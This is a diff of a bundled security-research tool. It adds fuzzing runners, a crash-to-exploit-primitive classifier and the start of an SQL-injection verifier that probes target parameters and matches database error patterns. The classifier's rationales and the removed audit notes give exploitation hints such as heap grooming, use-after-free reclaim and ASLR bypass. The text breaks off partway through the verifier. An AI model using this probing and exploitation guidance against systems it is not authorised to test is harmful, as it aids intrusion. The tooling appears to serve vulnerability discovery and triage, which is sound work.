1961
|
+
function cargoFuzzListArgs(fuzzDir) {
|
|
1962
|
+
return ["fuzz", "list", ...fuzzDir ? ["--fuzz-dir", fuzzDir] : []];
|
|
1963
|
+
}
|
|
1964
|
+
async function discoverCargoFuzzHarness(sourceRoot, fuzzDir, timeoutMs) {
|
|
1965
|
+
if (!existsSync(join(sourceRoot, fuzzDir ?? "fuzz", "Cargo.toml"))) {
|
|
1966
|
+
return { reason: `no cargo-fuzz manifest at ${fuzzDir ?? "fuzz"}/Cargo.toml` };
|
|
1967
|
+
}
|
|
1968
|
+
const res = await runChild("cargo", cargoFuzzListArgs(fuzzDir), sourceRoot, timeoutMs);
|
|
1969
|
+
if (res.failed)
|
|
1970
|
+
return { reason: "cargo fuzz list failed" };
|
|
1971
|
+
const harnesses = Array.from(new Set(res.stdout.split(/\r?\n/).map((line) => line.trim()).filter(Boolean)));
|
|
1972
|
+
if (harnesses.length === 1)
|
|
1973
|
+
return { harnessEntry: harnesses[0] };
|
|
1974
|
+
if (harnesses.length === 0)
|
|
1975
|
+
return { reason: "no cargo-fuzz harnesses found" };
|
|
1976
|
+
return {
|
|
1977
|
+
reason: `multiple cargo-fuzz harnesses found (${harnesses.join(", ")})`
|
|
1978
|
+
};
|
|
1979
|
+
}
|
|
1980
|
+
async function runRustLoop(opts, ctx) {
|
|
1981
|
+
const { target } = opts;
|
|
1982
|
+
const sourceRoot = resolve(target.sourceRoot);
|
|
1983
|
+
const fuzzRoot = resolveCargoFuzzDir(sourceRoot, target.fuzzDir);
|
|
1984
|
+
const crashes = [];
|
|
1985
|
+
let iterations = 0;
|
|
1986
|
+
let harnessEntry = target.harnessEntry;
|
|
1987
|
+
let executedHarness;
|
|
1988
|
+
if (!await cargoAvailable()) {
|
|
1989
|
+
ctx.toolingMissing.push("cargo");
|
|
1990
|
+
ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.cargo}`);
|
|
1991
|
+
return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
|
|
1992
|
+
}
|
|
1993
|
+
if (!fuzzRoot || harnessEntry && !isCargoFuzzHarnessName(harnessEntry)) {
|
|
1994
|
+
ctx.toolingMissing.push("cargo-fuzz-layout");
|
|
1995
|
+
ctx.log("[userspace-fuzz] rejected unsafe cargo-fuzz directory or harness name");
|
|
1996
|
+
return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
|
|
1997
|
+
}
|
|
1998
|
+
const fuzzDir = relative(sourceRoot, fuzzRoot);
|
|
1999
|
+
if (!await cargoFuzzAvailable()) {
|
|
2000
|
+
ctx.toolingMissing.push("cargo-fuzz");
|
|
2001
|
+
ctx.log(`[userspace-fuzz] ${TOOLING_HINTS["cargo-fuzz"]}`);
|
|
2002
|
+
} else {
|
|
2003
|
+
if (!harnessEntry) {
|
|
2004
|
+
const discovery = await discoverCargoFuzzHarness(sourceRoot, fuzzDir, ctx.timeoutMs);
|
|
2005
|
+
if ("reason" in discovery) {
|
|
2006
|
+
ctx.toolingMissing.push("cargo-fuzz-harness");
|
|
2007
|
+
ctx.log(`[userspace-fuzz] ${discovery.reason}; ${TOOLING_HINTS["cargo-fuzz-harness"]}`);
|
|
2008
|
+
} else {
|
|
2009
|
+
harnessEntry = discovery.harnessEntry;
|
|
2010
|
+
if (!isCargoFuzzHarnessName(harnessEntry)) {
|
|
2011
|
+
ctx.toolingMissing.push("cargo-fuzz-harness");
|
|
2012
|
+
ctx.log("[userspace-fuzz] cargo-fuzz reported an unsafe harness name");
|
|
2013
|
+
harnessEntry = void 0;
|
|
2014
|
+
} else {
|
|
2015
|
+
ctx.log(`[userspace-fuzz] auto-selected cargo-fuzz harness ${harnessEntry}`);
|
|
2016
|
+
}
|
|
2017
|
+
}
|
|
2018
|
+
}
|
|
2019
|
+
if (harnessEntry) {
|
|
2020
|
+
ctx.log(`[userspace-fuzz] cargo fuzz run ${harnessEntry} (<=${ctx.timeoutMs / 1e3}s)`);
|
|
2021
|
+
const res = await runChild("cargo", cargoFuzzRunArgs(harnessEntry, fuzzDir, ctx.timeoutMs / 1e3), sourceRoot, ctx.timeoutMs + 3e4);
|
|
2022
|
+
executedHarness = harnessEntry;
|
|
2023
|
+
iterations += 1;
|
|
2024
|
+
const crash = parseCrashOutput(res.output, {
|
|
2025
|
+
kind: res.timedOut ? "timeout" : void 0,
|
|
2026
|
+
inputPath: findLibfuzzerCrashInput(join(fuzzRoot, "artifacts", harnessEntry), sourceRoot)
|
|
2027
|
+
});
|
|
2028
|
+
if (crash)
|
|
2029
|
+
crashes.push(crash);
|
|
2030
|
+
}
|
|
2031
|
+
}
|
|
2032
|
+
if (opts.runMiri) {
|
|
2033
|
+
if (!await miriAvailable()) {
|
|
2034
|
+
ctx.toolingMissing.push("miri");
|
|
2035
|
+
ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.miri}`);
|
|
2036
|
+
} else {
|
|
2037
|
+
ctx.log("[userspace-fuzz] cargo +nightly miri test (UB run)");
|
|
2038
|
+
const res = await runChild("cargo", ["+nightly", "miri", "test"], sourceRoot, ctx.timeoutMs + 3e4);
|
|
2039
|
+
iterations += 1;
|
|
2040
|
+
const crash = parseCrashOutput(res.output, {
|
|
2041
|
+
kind: res.timedOut ? "timeout" : void 0
|
|
2042
|
+
});
|
|
2043
|
+
if (crash)
|
|
2044
|
+
crashes.push(crash);
|
|
2045
|
+
}
|
|
2046
|
+
}
|
|
2047
|
+
const corpusDir = harnessEntry ? join(fuzzRoot, "corpus", harnessEntry) : join(fuzzRoot, "corpus");
|
|
2048
|
+
const result = finishWithCorpus(crashes, iterations, corpusDir, ctx);
|
|
2049
|
+
if (executedHarness)
|
|
2050
|
+
result.executedHarness = executedHarness;
|
|
2051
|
+
return result;
|
|
2052
|
+
}
|
|
2053
|
+
async function runCLoop(opts, ctx) {
|
|
2054
|
+
const crashes = [];
|
|
2055
|
+
let iterations = 0;
|
|
2056
|
+
if (!opts.tier2Artifact) {
|
|
2057
|
+
ctx.log("[userspace-fuzz] C/C++ path requires a tier2Artifact (from buildTier2Harness); nothing to run");
|
|
2058
|
+
return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
|
|
2059
|
+
}
|
|
2060
|
+
if (!await clangAvailable()) {
|
|
2061
|
+
ctx.toolingMissing.push("clang");
|
|
2062
|
+
ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.clang}`);
|
|
2063
|
+
return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
|
|
2064
|
+
}
|
|
2065
|
+
const { compile_command, run_command } = opts.tier2Artifact;
|
|
2066
|
+
const sourceRoot = resolve(opts.target.sourceRoot);
|
|
2067
|
+
ctx.log(`[userspace-fuzz] compiling Tier-2 harness: ${compile_command}`);
|
|
2068
|
+
const compileRes = await runChild("sh", ["-c", compile_command], sourceRoot, ctx.timeoutMs);
|
|
2069
|
+
if (compileRes.signalled || /error:|fatal error:/i.test(compileRes.output)) {
|
|
2070
|
+
ctx.toolingMissing.push("tier2-harness-compile");
|
|
2071
|
+
ctx.log(`[userspace-fuzz] Tier-2 harness failed to compile:
|
|
2072
|
+
${compileRes.output.slice(-2e3)}`);
|
|
2073
|
+
return finish(crashes, iterations, sourceRoot, ctx, "tier2");
|
|
2074
|
+
}
|
|
2075
|
+
ctx.log(`[userspace-fuzz] running Tier-2 harness: ${run_command}`);
|
|
2076
|
+
const runRes = await runChild("sh", ["-c", run_command], sourceRoot, ctx.timeoutMs + 3e4);
|
|
2077
|
+
iterations += 1;
|
|
2078
|
+
const crash = parseCrashOutput(runRes.output, {
|
|
2079
|
+
kind: runRes.timedOut ? "timeout" : runRes.signalled ? "segfault" : void 0
|
|
2080
|
+
});
|
|
2081
|
+
if (crash) {
|
|
2082
|
+
crash.inputPath = findLibfuzzerCrashInput(sourceRoot, sourceRoot) ?? crash.inputPath;
|
|
2083
|
+
crashes.push(crash);
|
|
2084
|
+
}
|
|
2085
|
+
return finishWithCorpus(crashes, iterations, sourceRoot, ctx);
|
|
2086
|
+
}
|
|
2087
|
+
function findLibfuzzerCrashInput(dir, sourceRoot) {
|
|
2088
|
+
if (!isStableSourceDirectory(sourceRoot, dir))
|
|
2089
|
+
return void 0;
|
|
2090
|
+
try {
|
|
2091
|
+
const hit = readdirSync(dir).find((name) => /^(crash|oom|timeout|leak)-[0-9a-f]+$/i.test(name));
|
|
2092
|
+
if (!hit || !isStableSourceDirectory(sourceRoot, dir))
|
|
2093
|
+
return void 0;
|
|
2094
|
+
const candidate = join(dir, hit);
|
|
2095
|
+
const listed = lstatSync(candidate);
|
|
2096
|
+
return listed.isFile() && !listed.isSymbolicLink() ? candidate : void 0;
|
|
2097
|
+
} catch {
|
|
2098
|
+
return void 0;
|
|
2099
|
+
}
|
|
2100
|
+
}
|
|
2101
|
+
function finish(crashes, iterations, corpusDir, ctx, _phase) {
|
|
2102
|
+
return finishWithCorpus(crashes, iterations, corpusDir, ctx);
|
|
2103
|
+
}
|
|
2104
|
+
function finishWithCorpus(crashes, iterations, corpusDir, ctx) {
|
|
2105
|
+
const deduped = dedupeBySignature(crashes);
|
|
2106
|
+
const result = {
|
|
2107
|
+
iterations,
|
|
2108
|
+
crashes: deduped,
|
|
2109
|
+
corpusSize: corpusCount(corpusDir),
|
|
2110
|
+
durationMs: Date.now() - ctx.start
|
|
2111
|
+
};
|
|
2112
|
+
if (ctx.toolingMissing.length > 0) {
|
|
2113
|
+
result.toolingMissing = Array.from(new Set(ctx.toolingMissing));
|
|
2114
|
+
}
|
|
2115
|
+
ctx.log(`[userspace-fuzz] done: iterations=${result.iterations} crashes=${result.crashes.length} corpus=${result.corpusSize}` + (result.toolingMissing ? ` toolingMissing=[${result.toolingMissing.join(",")}]` : ""));
|
|
2116
|
+
return result;
|
|
2117
|
+
}
|
|
1388
2118
|
|
|
1389
|
-
|
|
1390
|
-
|
|
1391
|
-
|
|
1392
|
-
|
|
1393
|
-
|
|
1394
|
-
|
|
1395
|
-
|
|
1396
|
-
|
|
2119
|
+
// packages/core/dist/triage/userspace-primitive.js
|
|
2120
|
+
var SEVERITY_ORDER = ["info", "low", "medium", "high", "critical"];
|
|
2121
|
+
function severityRank(sev) {
|
|
2122
|
+
return SEVERITY_ORDER.indexOf(sev);
|
|
2123
|
+
}
|
|
2124
|
+
function maxMemSeverity(a, b) {
|
|
2125
|
+
return severityRank(a) >= severityRank(b) ? a : b;
|
|
2126
|
+
}
|
|
2127
|
+
function sniffMemPrimitive(raw) {
|
|
2128
|
+
if (/heap-use-after-free|use-after-free|use of (deallocated|freed)/i.test(raw)) {
|
|
2129
|
+
return "use-after-free";
|
|
2130
|
+
}
|
|
2131
|
+
if (/double-free|attempting double-free|free of (already-freed|untracked)/i.test(raw)) {
|
|
2132
|
+
return "double-free";
|
|
2133
|
+
}
|
|
2134
|
+
if (/stack-buffer-overflow|stack-use-after-(return|scope)|stack-oob/i.test(raw)) {
|
|
2135
|
+
return "stack-oob";
|
|
2136
|
+
}
|
|
2137
|
+
if (/heap-buffer-overflow|global-buffer-overflow|dynamic-stack-buffer-overflow/i.test(raw)) {
|
|
2138
|
+
return /\bWRITE of size\b/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
|
|
2139
|
+
}
|
|
2140
|
+
if (/uninitialized (memory|bytes|value)|use of uninitialized|msan|memorysanitizer|conjuring an instance/i.test(raw)) {
|
|
2141
|
+
return "uninit-read";
|
|
2142
|
+
}
|
|
2143
|
+
if (/dangling (reference|pointer)|pointer to .* was dereferenced after/i.test(raw)) {
|
|
2144
|
+
return "use-after-free";
|
|
2145
|
+
}
|
|
2146
|
+
if (/out-of-bounds|out of bounds|index out of bounds/i.test(raw)) {
|
|
2147
|
+
return /\bWRITE of size\b|writing|store/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
|
|
2148
|
+
}
|
|
2149
|
+
if (/signed integer overflow|unsigned integer overflow|integer overflow|shift .* out of range/i.test(raw)) {
|
|
2150
|
+
return "integer-overflow";
|
|
2151
|
+
}
|
|
2152
|
+
if (/(member|downcast|wrong type|type mismatch|invalid (vtable|downcast)).*type|type confusion|misaligned/i.test(raw)) {
|
|
2153
|
+
return "type-confusion";
|
|
2154
|
+
}
|
|
2155
|
+
if (/null pointer|null-deref|dereferenc(e|ing) (a )?null|SEGV on unknown address 0x0+\b/i.test(raw)) {
|
|
2156
|
+
return "null-deref";
|
|
2157
|
+
}
|
|
2158
|
+
return void 0;
|
|
2159
|
+
}
|
|
2160
|
+
function primitiveFromKind(kind) {
|
|
2161
|
+
switch (kind) {
|
|
2162
|
+
case "segfault":
|
|
2163
|
+
return "null-deref";
|
|
2164
|
+
case "ubsan":
|
|
2165
|
+
return "integer-overflow";
|
|
2166
|
+
case "msan":
|
|
2167
|
+
return "uninit-read";
|
|
2168
|
+
default:
|
|
2169
|
+
return "unknown";
|
|
2170
|
+
}
|
|
2171
|
+
}
|
|
2172
|
+
function sniffAccess(raw) {
|
|
2173
|
+
if (/\bWRITE of size\b|\bwriting\b|\bstore\b|wild pointer write/i.test(raw))
|
|
2174
|
+
return "write";
|
|
2175
|
+
if (/\bREAD of size\b|\breading\b|\bload\b/i.test(raw))
|
|
2176
|
+
return "read";
|
|
2177
|
+
if (/\bexecute\b|\bPC\b.*invalid|control flow|return address/i.test(raw))
|
|
2178
|
+
return "exec";
|
|
2179
|
+
return "none";
|
|
2180
|
+
}
|
|
2181
|
+
function classifyUserspacePrimitive(crash) {
|
|
2182
|
+
const raw = crash.rawOutput ?? "";
|
|
2183
|
+
const primitive = crash.primitive ?? sniffMemPrimitive(raw) ?? primitiveFromKind(crash.kind);
|
|
2184
|
+
const access = sniffAccess(raw);
|
|
2185
|
+
let severity;
|
|
2186
|
+
let controllable;
|
|
2187
|
+
let readWrite;
|
|
2188
|
+
let rationale;
|
|
2189
|
+
switch (primitive) {
|
|
2190
|
+
case "use-after-free": {
|
|
2191
|
+
readWrite = access === "read" ? "read" : "write";
|
|
2192
|
+
controllable = true;
|
|
2193
|
+
severity = readWrite === "write" ? "critical" : "high";
|
|
2194
|
+
rationale = `Use-after-free grants a dangling reference; a ${readWrite} after free is the lever \u2014 reclaim the freed allocation with a controlled object to turn it into ${readWrite === "write" ? "an object overwrite" : "an info-leak"}.`;
|
|
2195
|
+
break;
|
|
2196
|
+
}
|
|
2197
|
+
case "double-free": {
|
|
2198
|
+
readWrite = "write";
|
|
2199
|
+
controllable = true;
|
|
2200
|
+
severity = "high";
|
|
2201
|
+
rationale = "Double-free confuses the allocator freelist, enabling overlapping allocations and downstream object overwrite.";
|
|
2202
|
+
break;
|
|
2203
|
+
}
|
|
2204
|
+
case "heap-oob-write": {
|
|
2205
|
+
readWrite = "write";
|
|
2206
|
+
controllable = true;
|
|
2207
|
+
severity = "critical";
|
|
2208
|
+
rationale = "Heap out-of-bounds write corrupts an adjacent allocation \u2014 a write-what-where candidate once the neighbouring object is groomed.";
|
|
2209
|
+
break;
|
|
2210
|
+
}
|
|
2211
|
+
case "heap-oob-read": {
|
|
2212
|
+
readWrite = "read";
|
|
2213
|
+
controllable = /attacker|user-?controlled|tainted|index|offset|length/i.test(raw);
|
|
2214
|
+
severity = "medium";
|
|
2215
|
+
rationale = "Heap out-of-bounds read leaks adjacent allocation contents \u2014 an info-leak candidate useful for defeating ASLR.";
|
|
2216
|
+
break;
|
|
2217
|
+
}
|
|
2218
|
+
case "stack-oob": {
|
|
2219
|
+
readWrite = access === "read" ? "read" : "write";
|
|
2220
|
+
controllable = true;
|
|
2221
|
+
severity = readWrite === "write" ? "high" : "medium";
|
|
2222
|
+
rationale = "Stack out-of-bounds access; write variants can target saved registers / return addresses subject to stack-canary mitigation.";
|
|
2223
|
+
break;
|
|
2224
|
+
}
|
|
2225
|
+
case "type-confusion": {
|
|
2226
|
+
readWrite = "write";
|
|
2227
|
+
controllable = true;
|
|
2228
|
+
severity = "high";
|
|
2229
|
+
rationale = "Type confusion treats one object layout as another, enabling controlled reads/writes through mismatched fields (e.g. a fake vtable).";
|
|
2230
|
+
break;
|
|
2231
|
+
}
|
|
2232
|
+
case "uninit-read": {
|
|
2233
|
+
readWrite = "read";
|
|
2234
|
+
controllable = false;
|
|
2235
|
+
severity = "medium";
|
|
2236
|
+
rationale = "Uninitialised read returns stale memory \u2014 an info-leak building block; exploitability depends on whether the leaked bytes reach an attacker.";
|
|
2237
|
+
break;
|
|
2238
|
+
}
|
|
2239
|
+
case "integer-overflow": {
|
|
2240
|
+
readWrite = "none";
|
|
2241
|
+
controllable = false;
|
|
2242
|
+
severity = "low";
|
|
2243
|
+
rationale = "Integer overflow rarely yields a direct memory primitive on its own; treat as a building block (e.g. an undersized allocation) pending further analysis.";
|
|
2244
|
+
break;
|
|
2245
|
+
}
|
|
2246
|
+
case "null-deref": {
|
|
2247
|
+
readWrite = "none";
|
|
2248
|
+
controllable = false;
|
|
2249
|
+
severity = "low";
|
|
2250
|
+
rationale = "Null / faulting dereference is typically a denial-of-service in userspace unless a controlled offset reaches a mapped page.";
|
|
2251
|
+
break;
|
|
2252
|
+
}
|
|
2253
|
+
default: {
|
|
2254
|
+
readWrite = access;
|
|
2255
|
+
controllable = false;
|
|
2256
|
+
severity = "info";
|
|
2257
|
+
rationale = `Crash kind ${crash.kind} did not map to a known memory-safety primitive; treat as undetermined pending symbolisation.`;
|
|
2258
|
+
}
|
|
2259
|
+
}
|
|
2260
|
+
if ((crash.kind === "panic" || crash.kind === "timeout" || crash.kind === "oom") && primitive === "unknown") {
|
|
2261
|
+
return {
|
|
2262
|
+
primitive: "unknown",
|
|
2263
|
+
severity: crash.kind === "panic" ? "low" : "info",
|
|
2264
|
+
controllable: false,
|
|
2265
|
+
readWrite: "none",
|
|
2266
|
+
rationale: crash.kind === "panic" ? "Rust panic with no sanitizer signature \u2014 a safe-abort / availability bug, not a memory-corruption primitive." : `${crash.kind} with no corruption signature \u2014 an availability bug.`
|
|
2267
|
+
};
|
|
2268
|
+
}
|
|
2269
|
+
return { primitive, severity, controllable, readWrite, rationale };
|
|
2270
|
+
}
|
|
2271
|
+
function describeExploitabilityVerdict(verdict) {
|
|
2272
|
+
return [
|
|
2273
|
+
`Primitive: ${verdict.primitive} (op=${verdict.readWrite})`,
|
|
2274
|
+
`Severity: ${verdict.severity} (controllable=${verdict.controllable})`,
|
|
2275
|
+
`- ${verdict.rationale}`
|
|
2276
|
+
];
|
|
2277
|
+
}
|
|
1397
2278
|
|
|
1398
|
-
|
|
1399
|
-
|
|
1400
|
-
|
|
1401
|
-
- Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
|
|
1402
|
-
\`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
|
|
1403
|
-
\`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
|
|
1404
|
-
object's lifetime is managed by hand rather than by the borrow checker.
|
|
1405
|
-
- Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
|
|
1406
|
-
\`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
|
|
2279
|
+
// packages/core/dist/triage/pov-gate.js
|
|
2280
|
+
import { execFile as execFile2 } from "node:child_process";
|
|
2281
|
+
import { promisify } from "node:util";
|
|
1407
2282
|
|
|
1408
|
-
|
|
1409
|
-
|
|
1410
|
-
|
|
1411
|
-
mid-operation and then used. The patch "extended the GC root set" \u2014 which means
|
|
1412
|
-
the fix is narrow and **adjacent objects are likely still unrooted**.
|
|
1413
|
-
- Start from the patched roots. Enumerate every object/temporary that lives
|
|
1414
|
-
*next to* what the patch just rooted: other intrinsics that hold borrowed
|
|
1415
|
-
references across a callback, re-entrancy points, iterators / sort / comparator
|
|
1416
|
-
callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
|
|
1417
|
-
with the collector.
|
|
1418
|
-
- For each candidate ask: can the attacker script trigger a GC (allocate pressure,
|
|
1419
|
-
explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
|
|
1420
|
-
untraced? If yes \u2192 candidate UAF.
|
|
1421
|
-
- Type-confusion variant: where the patch rooted an object of one type, check
|
|
1422
|
-
whether a sibling path can swap the object's type between the root and the use.
|
|
2283
|
+
// packages/core/dist/triage/oracle-runtime.js
|
|
2284
|
+
import { randomUUID } from "node:crypto";
|
|
2285
|
+
import { createServer } from "node:http";
|
|
1423
2286
|
|
|
1424
|
-
|
|
1425
|
-
|
|
1426
|
-
|
|
1427
|
-
|
|
1428
|
-
|
|
1429
|
-
|
|
1430
|
-
|
|
1431
|
-
|
|
1432
|
-
|
|
2287
|
+
// packages/core/dist/triage/oracles.js
|
|
2288
|
+
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
2289
|
+
function notVerifiable(reason) {
|
|
2290
|
+
return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
|
|
2291
|
+
}
|
|
2292
|
+
function verified(evidence, confidence = 1) {
|
|
2293
|
+
return { verified: true, confidence, evidence, reason: "" };
|
|
2294
|
+
}
|
|
2295
|
+
function parseRequest(requestText, fallbackTarget) {
|
|
2296
|
+
const parsed = {
|
|
2297
|
+
method: "GET",
|
|
2298
|
+
url: fallbackTarget,
|
|
2299
|
+
headers: {},
|
|
2300
|
+
body: "",
|
|
2301
|
+
params: {}
|
|
2302
|
+
};
|
|
2303
|
+
const parseFallbackQuery = () => {
|
|
2304
|
+
try {
|
|
2305
|
+
const u = new URL(parsed.url);
|
|
2306
|
+
u.searchParams.forEach((v, k) => {
|
|
2307
|
+
parsed.params[k] = v;
|
|
2308
|
+
});
|
|
2309
|
+
} catch {
|
|
2310
|
+
}
|
|
2311
|
+
};
|
|
2312
|
+
if (!requestText) {
|
|
2313
|
+
parseFallbackQuery();
|
|
2314
|
+
return parsed;
|
|
2315
|
+
}
|
|
2316
|
+
requestText = requestText.replace(/\r\n/g, "\n");
|
|
2317
|
+
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
2318
|
+
if (curlUrl)
|
|
2319
|
+
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
2320
|
+
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
2321
|
+
if (curlMethod)
|
|
2322
|
+
parsed.method = curlMethod[1].toUpperCase();
|
|
2323
|
+
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
2324
|
+
if (curlData)
|
|
2325
|
+
parsed.body = curlData[1];
|
|
2326
|
+
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
2327
|
+
if (startLine) {
|
|
2328
|
+
parsed.method = startLine[1].toUpperCase();
|
|
2329
|
+
const path = startLine[2];
|
|
2330
|
+
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
2331
|
+
if (/^https?:\/\//i.test(path)) {
|
|
2332
|
+
parsed.url = path;
|
|
2333
|
+
} else if (hostHeader) {
|
|
2334
|
+
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
2335
|
+
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
2336
|
+
} else if (path.startsWith("/")) {
|
|
2337
|
+
try {
|
|
2338
|
+
const base = new URL(fallbackTarget);
|
|
2339
|
+
parsed.url = `${base.origin}${path}`;
|
|
2340
|
+
} catch {
|
|
2341
|
+
parsed.url = path;
|
|
2342
|
+
}
|
|
2343
|
+
} else {
|
|
2344
|
+
parsed.url = path;
|
|
2345
|
+
}
|
|
2346
|
+
const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
|
|
2347
|
+
for (const line of headerBlock.split("\n").slice(1)) {
|
|
2348
|
+
const colon = line.indexOf(":");
|
|
2349
|
+
if (colon > 0) {
|
|
2350
|
+
const name = line.slice(0, colon).trim().toLowerCase();
|
|
2351
|
+
if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
|
|
2352
|
+
parsed.headers[name] = line.slice(colon + 1).trim();
|
|
2353
|
+
}
|
|
2354
|
+
}
|
|
2355
|
+
}
|
|
2356
|
+
const sep2 = requestText.indexOf("\n\n");
|
|
2357
|
+
if (sep2 >= 0)
|
|
2358
|
+
parsed.body = requestText.slice(sep2 + 2);
|
|
2359
|
+
}
|
|
2360
|
+
try {
|
|
2361
|
+
const u = new URL(parsed.url);
|
|
2362
|
+
u.searchParams.forEach((v, k) => {
|
|
2363
|
+
parsed.params[k] = v;
|
|
2364
|
+
});
|
|
2365
|
+
} catch {
|
|
2366
|
+
}
|
|
2367
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
2368
|
+
try {
|
|
2369
|
+
const json = JSON.parse(parsed.body);
|
|
2370
|
+
for (const [key, value] of Object.entries(json)) {
|
|
2371
|
+
if (typeof value === "string" || typeof value === "number")
|
|
2372
|
+
parsed.params[key] = String(value);
|
|
2373
|
+
}
|
|
2374
|
+
} catch {
|
|
2375
|
+
}
|
|
2376
|
+
} else if (parsed.body.includes("=")) {
|
|
2377
|
+
new URLSearchParams(parsed.body).forEach((value, key) => {
|
|
2378
|
+
parsed.params[key] = value;
|
|
2379
|
+
});
|
|
2380
|
+
}
|
|
2381
|
+
return parsed;
|
|
2382
|
+
}
|
|
2383
|
+
function buildProbeRequest(parsed, newParams) {
|
|
2384
|
+
const method = parsed.method || "GET";
|
|
2385
|
+
const init = { method, headers: { ...parsed.headers } };
|
|
2386
|
+
const url = new URL(parsed.url);
|
|
2387
|
+
let json;
|
|
2388
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
2389
|
+
try {
|
|
2390
|
+
json = JSON.parse(parsed.body);
|
|
2391
|
+
} catch {
|
|
2392
|
+
}
|
|
2393
|
+
}
|
|
2394
|
+
const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
|
|
2395
|
+
for (const [key, value] of Object.entries(newParams)) {
|
|
2396
|
+
if (method !== "GET" && json && Object.hasOwn(json, key))
|
|
2397
|
+
json[key] = value;
|
|
2398
|
+
else if (method !== "GET" && form?.has(key))
|
|
2399
|
+
form.set(key, value);
|
|
2400
|
+
else
|
|
2401
|
+
url.searchParams.set(key, value);
|
|
2402
|
+
}
|
|
2403
|
+
if (method !== "GET") {
|
|
2404
|
+
init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
|
|
2405
|
+
if (json)
|
|
2406
|
+
init.headers = { "content-type": "application/json", ...parsed.headers };
|
|
2407
|
+
else if (form)
|
|
2408
|
+
init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
|
|
2409
|
+
}
|
|
2410
|
+
return { url: url.toString(), init };
|
|
2411
|
+
}
|
|
2412
|
+
async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
|
|
2413
|
+
const controller = new AbortController();
|
|
2414
|
+
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
2415
|
+
const start = Date.now();
|
|
2416
|
+
try {
|
|
2417
|
+
const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
|
|
2418
|
+
const body = await res.text();
|
|
2419
|
+
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
2420
|
+
} catch {
|
|
2421
|
+
return null;
|
|
2422
|
+
} finally {
|
|
2423
|
+
clearTimeout(timer);
|
|
2424
|
+
}
|
|
2425
|
+
}
|
|
2426
|
+
var SQL_ERROR_PATTERNS = [
|
|
2427
|
+
// MySQL
|
|
2428
|
+
/You have an error in your SQL syntax/i,
|
|
2429
|
+
/\bmysql_fetch_/i,
|
|
2430
|
+
/\bMySQLSyntaxErrorException\b/i,
|
|
2431
|
+
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
2432
|
+
// PostgreSQL
|
|
2433
|
+
/\bPG::SyntaxError\b/i,
|
|
2434
|
+
/\bpq:\s+syntax error\b/i,
|
|
2435
|
+
/\bpsql:.*?ERROR:/i,
|
|
2436
|
+
/unterminated quoted string/i,
|
|
2437
|
+
// SQLite
|
|
2438
|
+
/\bSQLite3::/i,
|
|
2439
|
+
/\bsqlite3\.OperationalError\b/i,
|
|
2440
|
+
/near\s+".+?":\s*syntax error/i,
|
|
2441
|
+
// MSSQL
|
|
2442
|
+
/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
2443
|
+
/\bUnclosed quotation mark\b/i,
|
|
2444
|
+
/\bOLE DB.*?SQL Server\b/i,
|
|
2445
|
+
// Oracle
|
|
2446
|
+
/\bORA-\d{4,5}\b/i,
|
|
2447
|
+
/\bquoted string not properly terminated\b/i
|
|
2448
|
+
];
|
|
2449
|
+
function detectSqlError(body) {
|
|
2450
|
+
for (const re of SQL_ERROR_PATTERNS) {
|
|
2451
|
+
const m = body.match(re);
|
|
2452
|
+
if (m)
|
|
2453
|
+
return m[0];
|
|
2454
|
+
}
|
|
2455
|
+
return null;
|
|
2456
|
+
}
|
|
2457
|
+
function pickInjectableParam(parsed) {
|
|
2458
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
2459
|
+
if (v && v.length > 0)
|
|
2460
|
+
return { key: k, value: v };
|
|
2461
|
+
}
|
|
2462
|
+
const first = Object.keys(parsed.params)[0];
|
|
2463
|
+
if (first)
|
|
2464
|
+
return { key: first, value: parsed.params[first] ?? "" };
|
|
2465
|
+
return null;
|
|
2466
|
+
}
|
|
2467
|
+
async function verifySqli(finding, target, context = {}) {
|
|
2468
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
2469
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
2470
|
+
